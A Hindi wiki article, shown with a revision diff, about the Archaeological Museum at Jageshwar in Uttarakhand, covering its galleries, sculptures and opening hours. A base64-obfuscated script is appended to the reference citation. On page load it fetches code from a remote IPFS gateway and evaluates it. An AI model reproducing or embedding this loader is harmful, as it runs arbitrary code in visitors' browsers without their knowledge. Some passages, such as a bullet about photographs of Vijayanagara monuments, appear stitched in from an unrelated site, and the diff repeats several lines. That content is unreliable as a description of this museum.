"पुरातत्वीय संग्रहालय, जागेश्वर" के अवतरणों में अंतर

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* [[उमा]]-[[महेश|महेश्‍वर]], [[सूर्य देवता|सूर्य]] तथा नवग्रह दीर्घा में रखे उत्‍कृष्‍ठ नमूने हैं। उड़ते आसमान वाली उमा-महेश्‍वर की प्रतिमा, [[शिव]] के अंक में बैठी पूर्ण रूप से अलंकृत पार्वती।  
 
* सूर्य की सुंदर मूर्ति जिन्‍होंने दोनों हाथों में [[कमल]] पकड़ा हुआ है पूर्णत: अलंकृत है।  
 
* सूर्य की सुंदर मूर्ति जिन्‍होंने दोनों हाथों में [[कमल]] पकड़ा हुआ है पूर्णत: अलंकृत है।  
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* अरुण (रथ चालक) तथा सात अश्‍वों को नीचे की तरफ़ दिखाया गया है तथा नवग्रहों की दुर्लभ मूर्ति जिसमें [[सूर्य देव|सूर्य]], [[सोम देव|सोम]], [[मंगल देवता|मंगल]], [[बुध देवता|बुध]], [[बृहस्पति ऋषि|बृहस्पति]], [[शुक्र देव|शुक्र]], [[शनि देव|शनि]], [[राहु देव|राहु]] तथा [[केतु देव|केतु]] को खड़ी मुद्रा में दिखाया गया है।
 
* दूसरी दीर्घा में 18 मूर्तियों को लकड़ी की वीथिकाओं में प्रदर्शित किया गया है। दीर्घा में उत्तरांचल कला के दुर्लभ नमूने हैं जैसे [[शिव]] की विषपहारना मूर्ति (विष पीते हुए शिव) केवलमूर्ति तथा कृशकाय सिकुड़े हुए पेट, बाहर निकली हुई पसली तथा नसें, धंसी हुई आंखों तथा अपने उल्‍टे हाथ में मुंडों को पकड़े हुए चारभुजी चामुंडा इस क्षेत्र की कला का यथार्थ रूप से प्रतिनिधित्‍व करते हैं।
 
* दूसरी दीर्घा में 18 मूर्तियों को लकड़ी की वीथिकाओं में प्रदर्शित किया गया है। दीर्घा में उत्तरांचल कला के दुर्लभ नमूने हैं जैसे [[शिव]] की विषपहारना मूर्ति (विष पीते हुए शिव) केवलमूर्ति तथा कृशकाय सिकुड़े हुए पेट, बाहर निकली हुई पसली तथा नसें, धंसी हुई आंखों तथा अपने उल्‍टे हाथ में मुंडों को पकड़े हुए चारभुजी चामुंडा इस क्षेत्र की कला का यथार्थ रूप से प्रतिनिधित्‍व करते हैं।
 
* संग्रहालय के केन्‍द्रीय हाल का निर्माण इस क्षेत्र के मुख्‍य आकर्षण जिसे ''पोना राजा'' मूर्ति के रूप में जाना जाता है, को प्रदर्शित करने तथा जागेश्‍वर क्षेत्र की अन्‍य मूल्‍यवान मूर्तियों को प्रदर्शित करने के लिए किया गया है।  
 
* संग्रहालय के केन्‍द्रीय हाल का निर्माण इस क्षेत्र के मुख्‍य आकर्षण जिसे ''पोना राजा'' मूर्ति के रूप में जाना जाता है, को प्रदर्शित करने तथा जागेश्‍वर क्षेत्र की अन्‍य मूल्‍यवान मूर्तियों को प्रदर्शित करने के लिए किया गया है।  

13:58, 12 जनवरी 2015 के समय का अवतरण

पुरातत्वीय संग्रहालय, जागेश्वर
पुरातत्वीय संग्रहालय, जागेश्वर
विवरण जागेश्वर में वर्ष 1995 में बनाए गए मूर्ति शेड को वर्ष 2000 में संग्रहालय में परिवर्तित कर दिया गया।
राज्य उत्तराखण्ड
नगर जागेश्वर
Map-icon.gif गूगल मानचित्र
खुलने का समय सुबह 10 बजे से शाम 5.00 बजे तक
अवकाश शुक्रवार
अन्य जानकारी जागेश्‍वर समूह, दंतेश्‍वरा समूह तथा कुबेर मंदिर समूह के मंदिरों के क्षेत्र से प्राप्‍त 174 मूर्तियों को इसमें रखा गया है और ये नौंवी से तेरहवीं शताब्‍दी ई. की हैं।
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पुरातत्वीय संग्रहालय, जागेश्वर उत्तराखण्ड के अल्मोड़ा ज़िले में स्थित है। जागेश्वर में वर्ष 1995 में बनाए गए मूर्ति शेड को वर्ष 2000 में संग्रहालय में परिवर्तित कर दिया गया। जागेश्‍वर समूह, दंतेश्‍वरा समूह तथा कुबेर मंदिर समूह के मंदिरों के क्षेत्र से प्राप्‍त 174 मूर्तियों को इसमें रखा गया है और ये नौंवी से तेरहवीं शताब्‍दी ई. की हैं।

विशेषताएँ

  • संग्रहालय में दो दीर्घाएं हैं जिसमें प्रदर्शों को प्रदर्शित किया गया है। पहली दीर्घा में 36 मूर्तियों को दीवार में बनी दो प्रदर्शन मंजूषाओं तथा लकड़ी की वीथिका में रखा गया है।
  • उमा-महेश्‍वर, सूर्य तथा नवग्रह दीर्घा में रखे उत्‍कृष्‍ठ नमूने हैं। उड़ते आसमान वाली उमा-महेश्‍वर की प्रतिमा, शिव के अंक में बैठी पूर्ण रूप से अलंकृत पार्वती।
  • सूर्य की सुंदर मूर्ति जिन्‍होंने दोनों हाथों में कमल पकड़ा हुआ है पूर्णत: अलंकृत है।
  • अरुण (रथ चालक) तथा सात अश्‍वों को नीचे की तरफ़ दिखाया गया है तथा नवग्रहों की दुर्लभ मूर्ति जिसमें सूर्य, सोम, मंगल, बुध, बृहस्पति, शुक्र, शनि, राहु तथा केतु को खड़ी मुद्रा में दिखाया गया है।
  • दूसरी दीर्घा में 18 मूर्तियों को लकड़ी की वीथिकाओं में प्रदर्शित किया गया है। दीर्घा में उत्तरांचल कला के दुर्लभ नमूने हैं जैसे शिव की विषपहारना मूर्ति (विष पीते हुए शिव) केवलमूर्ति तथा कृशकाय सिकुड़े हुए पेट, बाहर निकली हुई पसली तथा नसें, धंसी हुई आंखों तथा अपने उल्‍टे हाथ में मुंडों को पकड़े हुए चारभुजी चामुंडा इस क्षेत्र की कला का यथार्थ रूप से प्रतिनिधित्‍व करते हैं।
  • संग्रहालय के केन्‍द्रीय हाल का निर्माण इस क्षेत्र के मुख्‍य आकर्षण जिसे पोना राजा मूर्ति के रूप में जाना जाता है, को प्रदर्शित करने तथा जागेश्‍वर क्षेत्र की अन्‍य मूल्‍यवान मूर्तियों को प्रदर्शित करने के लिए किया गया है।
  • पोना राजा की सुंदर मूर्ति स्‍थानीय राजा या पंथ से संबंधित है और अत्‍यधिक लोकप्रिय है तथा क्षेत्र में सम्‍मानित है।
  • इस शानदार विश्वदाय स्‍थल का फोटो प्रलेखन 1856 में अलक्‍जेंडर ग्रीन लॉ (1818-1873) द्वारा किया गया वर्तमान फोटोग्राफों से तुलना करने पर ये विजयनगर स्‍मारकों के वैभव की पूरी जानकारी देते हैं।

गार्ड हाउस में मूर्ति दीर्घा

गार्ड हाउस में बरामदे की पिछली दीवार के सामने गणेश, कालभैरव, नंदी वाहन, सप्‍तमातृका तथा शिव के रूप में वीरभद्र के नमूने प्रदर्शित हैं। वैष्‍णव मूर्ति आविर्भाव से गरुड़, हनुमान, लक्ष्‍मी, रंगनाथ। इसके अतिरिक्‍त, नाग, नागिन, महा-सती की मूर्तियों तथा हीरो प्रस्‍तरों को भी चित्रणों में भली-भांति दर्शाया गया है। रनफन्‍था तथा कालभैरव की सज्‍जित मूर्तियों में से कुछ मूर्तियॉं निर्माण के विभिन्‍न स्‍तरों के उदाहरणों के रूप में हैं, जो अपनी विस्‍तृत कारीगिरी के कारण पर्यटकों का ध्‍यान आकर्षित करती हैं। हीरो पत्‍थरों तथा महा-सती पत्‍थरों में कुर्बानी की सौला पद्धति द्वारा एक हीरो का स्‍वर्गारोहण का चित्रण हमारा ध्‍यान आकर्षित करता है।[1]


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टीका टिप्पणी और संदर्भ

  1. संग्रहालय - जागेश्वर (हिन्दी) भारतीय पुरातत्व सर्वेक्षण। अभिगमन तिथि: 12 जनवरी, 2015।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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